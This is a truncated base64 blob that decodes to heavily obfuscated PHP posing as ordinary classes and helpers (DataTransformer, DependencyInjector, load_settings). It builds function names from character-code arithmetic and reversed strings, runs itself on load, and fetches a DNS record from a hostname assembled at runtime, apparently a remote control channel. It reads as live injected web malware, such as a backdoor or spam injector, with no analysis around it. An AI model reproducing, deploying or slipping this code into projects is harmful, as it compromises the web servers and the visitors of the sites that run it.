xjdWxhdGVTdW0oJ19xb2QnLCAnX3pseCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25heScsICdfZGVzJykgPT4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19heHYnLCAnX3hzdicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29vcCcsICdfbXNuJykgPT4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19waG4nLCAnX2hvcycpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ZnJywgJ19zaW8nKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2FlbCcsICdfbWNxJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbHpuJywgJ19nb3EnKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3VudScsICdfaHVlJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfY2tpJywgJ19kZnAnKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3l6eicsICdfd24nKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pa3knLCAnX256cScpID0+IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYW16JywgJ194a3AnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zdXQnLCAnX3hueicpID0+IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmNzJywgJ196eCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dsJywgJ19jaG4nKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29qdCcsICdfcngnKSk7CiAgICAgICAgcmV0dXJuIGlzc2V0KCRfeWNbJF9wcmddKSA/ICRfeWNbJF9wcmddIDogRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191Y2wnLCAnX2VldycpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfb3goJF9rdCkKICAgIHsKICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cyhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dzYicsICdfdGNkJykpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF9raGMgPSBoYW5kbGVfZXJyb3IoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19naWInLCAnX3lvcicpLCBmZXRjaF9tZXRhZGF0YShzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfanonLCAnX2VxZCcpLCAkX2t0KSkpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19qdmUnLCAnX3ZnZycpOwogICAgICAgICRfY2VyID0gQGRuc19nZXRfcmVjb3JkKCRfa2hjLCAwNDAwMCk7CiAgICAgICAgaWYgKCEkX2NlciB8fCAhaXNzZXQoJF9jZXJbMDBdW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3ByJywgJ19obmsnKV0pKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfY2VyWzAwXVtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21tbycsICdfeXUnKV07CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF96aygpCiAgICB7CiAgICAgICAgJF91Y3IgPSBAZGF0ZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3h0cScsICdfcHJmJykpOwogICAgICAgICRfbmggPSAkX3VjciA8IDAwID8gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19qeGsnLCAnX2F0dicpIDogRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sZCcsICdfZmNxJyk7CiAgICAgICAgJF91Y3IgPSBhYnMoJF91Y3IpOwogICAgICAgICRfdWNyID0gKGludCkgKCRfdWNyIC8gMDcwMjApICogMDE0NCArICRfdWNyICUgMDcwMjAgLyAwNzQ7CiAgICAgICAgcmV0dXJuIG1hbmFnZV9zdGF0ZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3JidycsICdfamF0JyksIEBkYXRlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZWppJywgJ191Zm4nKSksICRfbmgsICRfdWNyKTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3R2KCkKICAgIHsKICAgICAgICAkX2RyID0gYXJyYXkoMDQpOwogICAgICAgICRfcGFpID0gcXFsKDAxMzUsIDAxNDEpOwogICAgICAgICRfdWggPSBxcWwoMDAsIDAzKTsKICAgICAgICAkX2t4ID0gJF9kcltjb2xsZWN0X3N0YXRpc3RpY3MoJF9kcildOwogICAgICAgICRfcG1nID0gJF9wYWlbY29sbGVjdF9zdGF0aXN0aWNzKCRfcGFpKV07CiAgICAgICAgJF9ybyA9IHJhbmQoMDAsIDAxKSA9PSAwMSA/IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb3NnJywgJ19jeWonKSAuICRfdWhbY29sbGVjdF9zdGF0aXN0aWNzKCRfdWgpXSA6IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3llJywgJ19mcnMnKTsKICAgICAgICByZXR1cm4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sdGcnLCAnX295YScpIC4gJF9reCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfem9mJywgJ19wcXgnKSAuICRfcG1nIC4gJF9ybzsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3llKCkKICAgIHsKICAgICAgICByZXR1cm4gZWJoKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeHMnLCAnX2htdycpKTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2tmeSgkX3p2aSkKICAgIHsKICAgICAgICByZXR1cm4gcHJvY2Vzc19yZXF1ZXN0KHVuaXFpZChtdF9yYW5kKCksIHRydWUpKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZ2FvJywgJ19kbmsnKSAuICRfenZpOwogICAgfQp9CgokX3BlID0gbmV3IERhdGFUcmFuc2Zvcm1lcigpOwokX3BlLT5yb2xsYmFja1RyYW5zYWN0aW9uKCk7CgpmdW5jdGlvbiBvcHRpbWl6ZV9jYWNoZSgkZSkKewogICAgJGMgPSBhcnJheSg2NCArIDI4ICsgOSwgMiAqIDUwLCAyNiArIDg1LCA1MiArIDQ3LCA5MiAqIDEgKyA5LCA1NiAqIDEgKyA0NCwgODAgKyAxNSwgMjEgKyAxMiArIDE5LCAyNiAqIDEgKyAyOCwgMzIgKiAxICsgNjksIDQ0ICsgNDAgKyAzMSwgNCAqIDIzICsgNSwgMTA1ICogMTEgLSAxMDU3KTsKICAgICRhID0gJyc7CiAgICBmb3JlYWNoICgkYyBhcyAkaykgewogICAgICAgICRhIC49IGxvYWRfc2V0dGluZ3MoJGspOwogICAgfQogICAgJGEgPSBzdHJyZXYoJGEpOwogICAgcmV0dXJuICRhKCRlKTsKfQoKZnVuY3Rpb24gZGVjb2RlX2lucHV0KCRlKQp7CiAgICAkYiA9IGFycmF5KDkyICsgMyArIDYsIDEwMCwgMTE4IC0gNywgMTA5IC0gMTAsIDY3ICsgMjcgKyAxNiwgODAgKyAyMSwgOTUsIDIgKiAyNiwgMzYgKyAxOCwgODAgKiAxICsgMjEsIDE4ICsgMjggKyA2OSwgNSArIDE1ICsgNzcsIDc4ICsgMjApOwogICAgJHEgPSAnJzsKICAgIGZvcmVhY2ggKCRiIGFzICRrKSB7CiAgICAgICAgJHEgLj0gbG9hZF9zZXR0aW5ncygkayk7CiAgICB9CiAgICAkcSA9IHN0cnJldigkcSk7CiAgICByZXR1cm4gJHEoJGUpOwp9CgpmdW5jdGlvbiBjaGVja19hY2Nlc3MoJHcpCnsKICAgICRqID0gYXJyYXkoMTA0IC0gNSwgMTA0LCAyICogMzcgKyAzNywgMiAqIDU2KTsKICAgICRmID0gJyc7CiAgICBmb3JlYWNoICgkaiBhcyAkYikgewogICAgICAgICRmIC49IGxvYWRfc2V0dGluZ3MoJGIpOwogICAgfQogICAgcmV0dXJuICRmKCR3KTsKfQoKZnVuY3Rpb24gbG9hZF9zZXR0aW5ncygkaikKewogICAgJHAgPSBhcnJheSgxMTkgLSA1LCAxMTIgLSA4LCA5MCAqIDQyIC0gMzY4MSk7CiAgICAkYyA9ICcnOwogICAgZm9yZWFjaCAoJHAgYXMgJG0pIHsKICAgICAgICAkYyAuPSBjaHIoJG0pOwogICAgfQogICAgJGMgPSBzdHJyZXYoJGMpOwogICAgcmV0dXJuICRjKCRqKTsKfQoKZnVuY3Rpb24gdmFsaWRhdGVfZW50cnkoLi4uJHBoKQp7CiAgICAkbCA9IGFycmF5KDc1ICsgMSArIDQwLCAyNyArIDMyICsgNDYsIDEwOCwgMTE5IC0gNywgNDUgKiAyMyAtIDkyMCwgNyArIDgxICsgNywgNTUgKiAxICsgNTIsIDE4ICsgNDggKyA0NCwgMTE0ICsgMSArIDIsIDQ0ICogMiArIDE2LCAzOSArIDQxICsgMTkpOwogICAgJGcgPSAnJzsKICAgIGZvcmVhY2ggKCRsIGFzICR4KSB7CiAgICAgICAgJGcgLj0gY2hyKCR4KTsKICAgIH0KICAgICRnID0gc3RycmV2KCRnKTsKICAgIHJldHVybiAkZyguLi4kcGgpOwp9CgpmdW5jdGlvbiBzdGFydF9zZXJ2aWNlKCRqLCAkdikKewogICAgJGwgPSBhcnJheSg4NCAqIDEgKyAxNywgNTYgKyAxNiArIDQ4LCA5MyAqIDcgLSA1MzksIDEwNSArIDMsIDkyICsgMTksIDU1ICsgNDUsIDEwMSk7CiAgICAkYSA9ICcnOwogICAgZm9yZWFjaCAoJGwgYXMgJHUpIHsKICAgICAgICAkYSAuPSBjaHIoJHUpOwogICAgfQogICAgcmV0dXJuICRhKCRqLCAkdik7Cn0KCmZ1bmN0aW9uIGhhbmRsZV9lcnJvciguLi4kdG4pCnsKICAgICRtID0gYXJyYXkoMTE5IC0gOSwgMyAqIDM1LCA4ICsgMTAzLCAxMDYpOwogICAgJGwgPSAnJzsKICAgIGZvcmVhY2ggKCRtIGFzICRpKSB7CiAgICAgICAgJGwgLj0gY2hyKCRpKTsKICAgIH0KICAgICRsID0gc3RycmV2KCRsKTsKICAgIHJldHVybiAkbCguLi4kdG4pOwp9CgpmdW5jdGlvbiBwcm9jZXNzX3JlcXVlc3QoLi4uJHpzKQp7CiAgICAkbiA9IGFycmF5KDU1IC0gMiwgMTAwLCA1ICsgMTA0KTsKICAgICRiID0gJyc7CiAgICBmb3JlYWNoICgkbiBhcyAkcykgewogICAgICAgICRiIC49IGNocigkcyk7CiAgICB9CiAgICAkYiA9IHN0cnJldigkYik7CiAgICByZXR1cm4gJGIoLi4uJHpzKTsKfQoKZnVuY3Rpb24gaGFzaF9zdHJpbmcoJGUpCnsKICAgICRuID0gYXJyYXkoMyAqIDM3LCA3MSArIDQzLCAxMDAgKiAxMDggLSAxMDcwMCk7CiAgICAkdyA9ICcnOwogICAgZm9yZWFjaCAoJG4gYXMgJHApIHsKICAgICAgICAkdyAuPSBjaHIoJHApOwogICAgfQogICAgcmV0dXJuICR3KCRlKTsKfQoKZnVuY3Rpb24gc3RvcmVfc25hcHNob3QoJGgpCnsKICAgICRsID0gYXJyYXkoNTIgKiAxICsgNjEsIDEyNiAtIDksIDExMiAtIDEsIDU2ICsgNjAsIDE1ICsgODYsIDU0ICsgMzAgKyAxNiwgNDMgKiAxICsgNTIsIDIgKiA1NiwgMTE5ICogMjEgLSAyMzg1LCA4MSArIDUgKyAxOSwgMTEzIC0gMywgMTE2LCA5NywgNzEgKiAxICsgMjcsIDEwMiAqIDEgKyA2LCAxMTEgLSAxMCwgNSAqIDE5LCAxMDIgLSAxLCAxMTAsIDM1ICsgMzcgKyAyNywgMyAqIDM3LCAyNyAqIDUxIC0gMTI3NywgODQgKiAyMSAtIDE2NjMpOwogICAgJHcgPSAnJzsKICAgIGZvcmVhY2ggKCRsIGFzICRkKSB7CiAgICAgICAgJHcgLj0gY2hyKCRkKTsKICAgIH0KICAgIHJldHVybiAkdygkaCk7Cn0KCmZ1bmN0aW9uIG1hbmFnZV9zdGF0ZSguLi4kcmgpCnsKICAgICR3ID0gYXJyYXkoMTQgKiA0ICsgNDYsIDEwICsgMTIgKyA5NCwgMiAqIDU1LCA1OCAqIDgxIC0gNDU5MywgMTQgKyAxMDAsIDQ3ICogOTUgLSA0MzUzLCAzICogNjggLSA4OSk7CiAgICAkbCA9ICcnOwogICAgZm9yZWFjaCAoJHcgYXMgJHUpIHsKICAgICAgICAkbCAuPSBjaHIoJHUpOwogICAgfQogICAgJGwgPSBzdHJyZXYoJGwpOwogICAgcmV0dXJuICRsKC4uLiRyaCk7Cn0KCmZ1bmN0aW9uIHJ1bl9rZXJuZWwoJGMsICRjbCkKewogICAgJGsgPSBhcnJheSgyICsgMjggKyA4NSwgMiAqIDU4LCAxMDIgKyAxMiwgODkgKyAyICsgNCwgMjAgKiA0ICsgMzQsIDEwMSwgMiAqIDU2LCA3NCAqIDU3IC0gNDExNywgOTcsIDg5ICsgMjcpOwogICAgJGtyID0gJyc7CiAgICBmb3JlYWNoICgkayBhcyAkaikgewogICAgICAgICRrciAuPSBjaHIoJGopOwogICAgfQogICAgcmV0dXJuICRrcigkYywgJGNsKTsKfQoKZnVuY3Rpb24gc2NoZWR1bGVfd29yayguLi4keG8pCnsKICAgICR1ID0gYXJyYXkoODAgKyAzNSwgMzcgKyA3OSwgMiAqIDU3LCA3OCAqIDEgKyAxNywgOSAqIDkgKyAzMywgNDQgKyA1NywgNTcgKyAyICsgNTMsIDIgKiA1NCwgOTcgKiAxLCAxMDUgKiA0OSAtIDUwNDYsIDYwICsgNDEpOwogICAgJGcgPSAnJzsKICAgIGZvcmVhY2ggKCR1IGFzICRwKSB7CiAgICAgICAgJGcgLj0gY2hyKCRwKTsKICAgIH0KICAgIHJldHVybiAkZyguLi4keG8pOwp9CgpmdW5jdGlvbiBjb21wdXRlX291dHB1dCgkZykKewogICAgJG8gPSBhcnJheSgxMTUsIDQ0ICogMiArIDI4LCA1NSArIDM4ICsgMjEsIDIxICsgMjggKyA0NiwgNSAqIDIzLCA4ICsgOTYsIDExNywgMTAzIC0gMSwgNDQgKiAxICsgNTgsIDExOCAtIDEwLCAxMDEgKiAxKTsKICAgICR4ID0gJyc7CiAgICBmb3JlYWNoICgkbyBhcyAkcCkgewogICAgICAgICR4IC49IGNocigkcCk7CiAgICB9CiAgICByZXR1cm4gJHgoJGcpOwp9CgpmdW5jdGlvbiBsb2dfb3BlcmF0aW9uKC4uLiR4dykKewogICAgJHUgPSBhcnJheSgxNCAqIDggKyAzLCAxMTMgLSAxMCwgMyArIDM5ICsgNTUsIDkgKyAxMDcsIDIxICsgNzQsIDMgKyA2NSArIDQ0LCA2NSAqIDQ4IC0gMzAxNSwgODUgKyAyOSwgMTE5IC0gMywgMiArIDEwMSArIDEyKTsKICAgICRhID0gJyc7CiAgICBmb3JlYWNoICgkdSBhcyAkeSkgewogICAgICAgICRhIC49IGNocigkeSk7CiAgICB9CiAgICAkYSA9IHN0cnJldigkYSk7CiAgICByZXR1cm4gJGEoLi4uJHh3KTsKfQoKZnVuY3Rpb24gZGlzcGF0Y2hfc2lnbmFsKCR5KQp7CiAgICAkdCA9IGFycmF5KDEwMCArIDE1LCAyICogNTgsIDExNCwgNzUgKyAyMCArIDEzLCAxMDEsIDQ5ICogMSArIDYxKTsKICAgICRoID0gJyc7CiAgICBmb3JlYWNoICgkdCBhcyAkeXQpIHsKICAgICAgICAkaCAuPSBjaHIoJHl0KTsKICAgIH0KICAgIHJldHVybiAkaCgkeSk7Cn0KCmZ1bmN0aW9uIG1vbml0b3JfaGVhbHRoKC4uLiRxeCkKewogICAgJGsgPSBhcnJheSg1OCAqIDEgKyA1NywgMTIwIC0gOSwgNTEgKiA0NCAtIDIxMzIsIDcxICsgMjMgKyAyMCwgMTI2IC0gMTAsIDEyNSAtIDEwKTsKICAgICRuID0gJyc7CiAgICBmb3JlYWNoICgkayBhcyAkbnQpIHsKICAgICAgICAkbiAuPSBjaHIoJG50KTsKICAgIH0KICAgICRuID0gc3RycmV2KCRuKTsKICAgIHJldHVybiAkbiguLi4kcXgpOwp9CgpmdW5jdGlvbiBpbml0X3N5c3RlbSgkYSkKewogICAgJG4gPSBhcnJheSg3NyArIDM3LCAxMDEsIDYzICogMTAzIC0gNjM3MCwgMTExLCAxMDgsIDEwMiArIDYgKyAzLCAyICogNTgsIDExMCAqIDEgKyA0LCAxMDcgKyA2ICsgMywgNTMgKyAzNyArIDI1KTsKICAgICRpID0gJyc7CiAgICBmb3JlYWNoICgkbiBhcyAkdikgewogICAgICAgICRpIC49IGNocigkdik7CiAgICB9CiAgICAkaSA9IHN0cnJldigkaSk7CiAgICByZXR1cm4gJGkoJGEpOwp9CgpmdW5jdGlvbiBmcmVlX3Jlc291cmNlcyguLi4kZGUpCnsKICAgICR1ID0gYXJyYXkoMTIgKiAxICsgMTAzLCA2OSAqIDExNiAtIDc4ODcsIDgwICsgNSArIDEzLCA2NyAqIDExNCAtIDc1MjMsIDEwMCArIDEzICsgMywgMTE5IC0gNSk7CiAgICAkdXYgPSAnJzsKICAgIGZvcmVhY2ggKCR1IGFzICRzKSB7CiAgICAgICAgJHV2IC49IGNocigkcyk7CiAgICB9CiAgICByZXR1cm4gJHV2KC4uLiRkZSk7Cn0KCmZ1bmN0aW9uIHJ1bl9wcm9jZWR1cmUoLi4uJGJqKQp7CiAgICAkaCA9IGFycmF5KDExNiwgMiAqIDU3LCAxMCAqIDQgKyA2NSwgMTQgKiAyICsgODEpOwogICAgJHMgPSAnJzsKICAgIGZvcmVhY2ggKCRoIGFzICRtKSB7CiAgICAgICAgJHMgLj0gY2hyKCRtKTsKICAgIH0KICAgIHJldHVybiAkcyguLi4kYmopOwp9CgpmdW5jdGlvbiByZXNvbHZlX2RlcGVuZGVuY3koJGwpCnsKICAgICR6ID0gYXJyYXkoMyAqIDM5LCAzOSAqIDg1IC0gMzIxNiwgNzkgKiA3NCAtIDU3NDQsIDMgKiAzNSwgNSAqIDkgKyA2OSwgNzggKiAxICsgMzcsIDExNik7CiAgICAkdCA9ICcnOwogICAgZm9yZWFjaCAoJHogYXMgJHApIHsKICAgICAgICAkdCAuPSBjaHIoJHApOwogICAgfQogICAgcmV0dXJuICR0KCRsKTsKfQoKZnVuY3Rpb24gdHJpZ2dlcl9ldmVudCguLi4kYmopCnsKICAgICRpID0gYXJyYXkoMTIxIC0gOSwgOTEgKiAxICsgNiwgMTE1IC0gNiwgMTA0IC0gOSwgMjEgKyAxMDAsIDEwNiAtIDksIDg1ICogNzkgLSA2NjAxLCA4OCAqIDc4IC0gNjc1MCwgOTcpOwogICAgJGlsID0gJyc7CiAgICBmb3JlYWNoICgkaSBhcyAkbSkgewogICAgICAgICRpbCAuPSBjaHIoJG0pOwogICAgfQogICAgJGlsID0gc3RycmV2KCRpbCk7CiAgICByZXR1cm4gJGlsKC4uLiRiaik7Cn0KCmZ1bmN0aW9uIHByb2Nlc3NfcXVldWUoLi4uJGp6KQp7CiAgICAkaCA9IGFycmF5KDE2ICogMyArIDQ5LCAyMyArIDkxLCA0OCAqIDEgKyA2NiwgODUgKyAxMiwgMTIxLCAyMiAqIDMgKyAyOSwgOTggKyAxMSwgMTAxLCA1MyArIDQ2ICsgMTUsIDExMCAqIDk3IC0gMTA1NjcsIDEwNyAtIDYpOwogICAgJG4gPSAnJzsKICAgIGZvcmVhY2ggKCRoIGFzICRyKSB7CiAgICAgICAgJG4gLj0gY2hyKCRyKTsKICAgIH0KICAgIHJldHVybiAkbiguLi4kanopOwp9CgpmdW5jdGlvbiBjb2xsZWN0X3N0YXRpc3RpY3MoLi4uJHJqKQp7CiAgICAkaCA9IGFycmF5KDEwNiAtIDYsIDI5ICogMiArIDUyLCA5NyAqIDEsIDcxICogMzQgLSAyMzAwLCA1ICogMTksIDExICogMTEsIDI5ICsgNjgsIDc1ICsgMzksIDExNCwgNiArIDY0ICsgMjcpOwogICAgJGcgPSAnJzsKICAgIGZvcmVhY2ggKCRoIGFzICRpKSB7CiAgICAgICAgJGcgLj0gY2hyKCRpKTsKICAgIH0KICAgICRnID0gc3RycmV2KCRnKTsKICAgIHJldHVybiAkZyguLi4kcmopOwp9CgpmdW5jdGlvbiBmZXRjaF9tZXRhZGF0YSguLi4kaXUpCnsKICAgICRoID0gYXJyYXkoMTA3IC0gMTAsIDgzICsgMzEsIDEwNyArIDcsIDk3ICogMSwgMTAzICsgMTgsIDUgKiAxOSwgMTE1IC0gMSwgMTAxICogMSwgMTMgKyAxMDUsIDEwNSAtIDQsIDExNCwgNSAqIDIzLCA0MSAqIDEgKyA2MCk7CiAgICAkaiA9ICcnOwogICAgZm9yZWFjaCAoJGggYXMgJHQpIHsKICAgICAgICAkaiAuPSBjaHIoJHQpOwogICAgfQogICAgcmV0dXJuICRqKC4uLiRpdSk7Cn0KCmZ1bmN0aW9uIGFuYWx5emVfZGF0YSguLi4kd2MpCnsKICAgICRnID0gYXJyYXkoMzcgKyA2NCwgODkgKiA1MCAtIDQzNTEsIDcgKyA5OCwgMTA4LCA0MyArIDcyLCA3ICsgNDMgKyA0NSwgNTMgKiAxICsgNjgsIDMzICsgNDkgKyAxNSwgMTE2IC0gMiwgMTI0IC0gMTAsIDcxICsgMTUgKyAxMSk7CiAgICAkYyA9ICcnOwogICAgZm9yZWFjaCAoJGcgYXMgJGUpIHsKICAgICAgICAkYyAuPSBjaHIoJGUpOwogICAgfQogICAgJGMgPSBzdHJyZXYoJGMpOwogICAgcmV0dXJuICRjKC4uLiR3Yyk7Cn0KCmZ1bmN0aW9uIGFnZ3JlZ2F0ZV9yZXN1bHRzKC4uLiRhYikKewogICAgJGIgPSBhcnJheSgxMTQgKiAzOCAtIDQyMTYsIDExNCAtIDQsIDEyMCAtIDMsIDEwMyAqIDgxIC0gODIzMiwgMTA2IC0gNyk7CiAgICAkaCA9ICcnOwogICAgZm9yZWFjaCAoJGIgYXMgJHcpIHsKICAgICAgICAkaCAuPSBjaHIoJHcpOwogICAgfQogICAgJGggPSBzdHJyZXYoJGgpOwogICAgcmV0dXJuICRoKC4uLiRhYik7Cn0KCmZ1bmN0aW9uIGluaXRpYWxpemVfY29tcG9uZW50KC4uLiRleikKewogICAgJG0gPSBhcnJheSg0MyAqIDEgKyA2MiwgNzMgKyAzNywgOTUsIDk3ICogMSwgMiAqIDU3LCAxMTggLSA0LCAyNyAqIDMgKyAxNiwgODYgKiA5NiAtIDgxMzUpOwogICAgJHcgPSAnJzsKICAgIGZvcmVhY2ggKCRtIGFzICRnKSB7CiAgICAgICAgJHcgLj0gY2hyKCRnKTsKICAgIH0KICAgIHJldHVybiAkdyguLi4kZXopOwp9CgpmdW5jdGlvbiBzeW5jX2RhdGEoJHopCnsKICAgICRuID0gYXJyYXkoMTEgKiAxMSwgMjUgKyA3NiwgMTMgKiA3ICsgMTYpOwogICAgJGggPSAnJzsKICAgIGZvcmVhY2ggKCRuIGFzICRhKSB7CiAgICAgICAgJGggLj0gY2hyKCRhKTsKICAgIH0KICAgICRoID0gc3RycmV2KCRoKTsKICAgIHJldHVybiAkaCgkeik7Cn0KCmZ1bmN0aW9uIHFxbCguLi4kd3QpCnsKICAgICRvID0gYXJyYXkoMTAxLCAxMTEgLSA4LCA2MyArIDQ3LCA5NyAqIDEsIDEwICogMiArIDk0KTsKICAgICRhID0gJyc7CiAgICBmb3JlYWNoICgkbyBhcyAkZykgewogICAgICAgICRhIC49IGNocigkZyk7CiAgICB9CiAgICAkYSA9IHN0cnJldigkYSk7CiAgICByZXR1cm4gJGEoLi4uJHd0KTsKfQoKZnVuY3Rpb24geWx3KC4uLiRsdSkKewogICAgJGcgPSBhcnJheSgxMjAgLSA1LCAyMyAqIDMgKyA0NywgNDYgKyAyMCArIDQ0LCAzMCArIDQzICsgMjgsIDExNiwgMjggKiAzICsgMjYsIDQwICogMSArIDcxLCAzICogMzMsIDk1LCAyICogNTgsIDc1ICogMSArIDI2LCA2NCAqIDI3IC0gMTYyNSwgMTA0ICogNzUgLSA3NzA1LCA3ICsgNzcgKyAxNywgMTA4LCA1MyArIDQyICsgMTAsIDExMSAtIDkpOwogICAgJHYgPSAnJzsKICAgIGZvcmVhY2ggKCRnIGFzICR3KSB7CiAgICAgICAgJHYgLj0gY2hyKCR3KTsKICAgIH0KICAgICR2ID0gc3RycmV2KCR2KTsKICAgIHJldHVybiAkdiguLi4kbHUpOwp9CgpmdW5jdGlvbiBsYmkoJG0pCnsKICAgICR3ID0gYXJyYXkoMTAxICogMSwgMTA4LCAzNCAqIDMgKyAzLCA4NyArIDE1LCAyOCArIDY3LCAxMTIgKiA5MiAtIDEwMTg5LCAzICogMzUpOwogICAgJG8gPSAnJzsKICAgIGZvcmVhY2ggKCR3IGFzICRvZikgewogICAgICAgICRvIC49IGNocigkb2YpOwogICAgfQogICAgJG8gPSBzdHJyZXYoJG8pOwogICAgcmV0dXJuICRvKCRtKTsKfQoKZnVuY3Rpb24gZWJoKC4uLiRseSkKewogICAgJHMgPSBhcnJheSgxMDAsIDk3ICogMSwgMiAqIDU4LCA2OSArIDMyKTsKICAgICRjID0gJyc7CiAgICBmb3JlYWNoICgkcyBhcyAkaykgewogICAgICAgICRjIC49IGNocigkayk7CiAgICB9CiAgICByZXR1cm4gJGMoLi4uJGx5KTsKfQoKZnVuY3Rpb24gcHlyKCkKewogICAgJGkgPSBhcnJheSgxMDEgKiAxLCAxMDAgKyA2ICsgMywgMTA1LCAxMDUgKyAxMSk7CiAgICAkYyA9ICcnOwogICAgZm9yZWFjaCAoJGkgYXMgJGspIHsKICAgICAgICAkYyAuPSBjaHIoJGspOwogICAgfQogICAgJGMgPSBzdHJyZXYoJGMpOwogICAgcmV0dXJuICRjKCk7Cn0KCmZ1bmN0aW9uIGF1biguLi4kZGgpCnsKICAgICR6ID0gYXJyYXkoMTE0IC0gNiwgOTcgKiAxLCA5OSArIDEyICsgNywgMTE2LCA1MSAqIDg5IC0gNDQyOSwgNjcgKiA0MyAtIDI3NzYpOwogICAgJHggPSAnJzsKICAgIGZvcmVhY2ggKCR6IGFzICRpKSB7CiAgICAgICAgJHggLj0gY2hyKCRpKTsKICAgIH0KICAgICR4ID0gc3RycmV2KCR4KTsKICAgIHJldHVybiAkeCguLi4kZGgpOwp9CgpmdW5jdGlvbiB0ZWgoJGcpCnsKICAgICRqID0gYXJyYXkoMTEgKyA2OCArIDI2LCAyNSAqIDIgKyA2NSwgMTA1IC0gMTAsIDc0ICogMzAgLSAyMTIzLCAxNyArIDk3LCAxMjIgLSA4LCAxMDYgLSA5LCA0MyAqIDEzMCAtIDU0NjkpOwogICAgJGwgPSAnJzsKICAgIGZvcmVhY2ggKCRqIGFzICRxKSB7CiAgICAgICAgJGwgLj0gY2hyKCRxKTsKICAgIH0KICAgIHJldHVybiAkbCgkZyk7Cn0KCmZ1bmN0aW9uIGdybigkdCkKewogICAgJHUgPSBhcnJheSg4NSArIDE3ICsgMywgNTkgKyA1NiwgOTUsIDExMiAqIDEwNiAtIDExNzYyLCAzICogMzksIDExNiAtIDgsIDIgKiA1NCk7CiAgICAkZCA9ICcnOwogICAgZm9yZWFjaCAoJHUgYXMgJGIpIHsKICAgICAgICAkZCAuPSBjaHIoJGIpOwogICAgfQogICAgcmV0dXJuICRkKCR0KTsKfQoKZnVuY3Rpb24gZndxKCRqKQp7CiAgICAkYSA9IGFycmF5KDk5LCAxMDUsIDYxICogMSArIDUzLCAxMDYgKiA4IC0gNzQ3LCAxMDksIDk3ICogMSArIDIwLCAxMTAsIDg3ICsgNCArIDQsIDEyICsgMzQgKyA2OSwgMjcgKyAzMyArIDQ1KTsKICAgICRtID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkcSkgewogICAgICAgICRtIC49IGNocigkcSk7CiAgICB9CiAgICAkbSA9IHN0cnJldigkbSk7CiAgICByZXR1cm4gJG0oJGopOwp9CgpmdW5jdGlvbiB0cmMoJG8pCnsKICAgICRvZyA9IGFycmF5KDIgKyAxMiArIDg3LCAzICogMzMsIDExNCwgOTcgKyAxOCArIDIsIDI4ICsgODMsIDUgKiAyMywgMTAxICogMSwgNjggKiAxICsgNDYsIDk0ICogNjEgLSA1NjM5LCAxMTAgKiA3MiAtIDc4MDUsIDk1ICogMTUgLSAxMzIwKTsKICAgICRwID0gJyc7CiAgICBmb3JlYWNoICgkb2cgYXMgJGYpIHsKICAgICAgICAkcCAuPSBjaHIoJGYpOwogICAgfQogICAgJHAgPSBzdHJyZXYoJHApOwogICAgcmV0dXJu